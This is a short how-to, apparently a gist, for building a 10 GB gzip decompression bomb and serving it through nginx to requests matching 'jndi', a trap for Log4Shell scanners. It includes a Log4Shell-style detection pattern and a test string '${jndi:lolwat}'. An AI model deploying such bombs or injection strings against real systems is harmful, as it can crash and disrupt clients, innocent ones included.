jndi-response.md

1. Generate the file:

$ awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' > 100M.html
$ (for I in `seq 1 100`; do cat 100M.html; done) | pv | gzip -9 > 10G.boomgz

2. Check it is indeed good:

$ zcat 10G.boomgz | pv | wc
...
      0       1 10000000000

3. Put the field in the wwwroot

4. Hook it up to nginx

server {
  ...
  
  # Hi there, looking for some trouble?
  if ($http_user_agent ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($http_referer ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($request ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }

  location ~* \.boomgz$ {
    add_header Expires "Sat, 1 Jan 2000 00:00:00 GMT"; # No caching.
    add_header Content-Encoding gzip;                  # Yup, that's a GZIP bomb. I mean, GZIP *stream*, take it.
    add_header Content-Type text/html;                 # Have a nice browser? Let it render stuff.
    limit_rate 100k;                                   # But wait, wait! The good part is coming any minute now.
  }
}  

5. Test it works

# Estimate: on-the-wire transfer
$ curl -s -L hostname -A "\${jndi:lolwat}" | pv > /dev/null

# Estimate: unpacked contents seen from client
$ curl -s --compressed -L hostname -A "\${jndi:lolwat}" | pv > /dev/null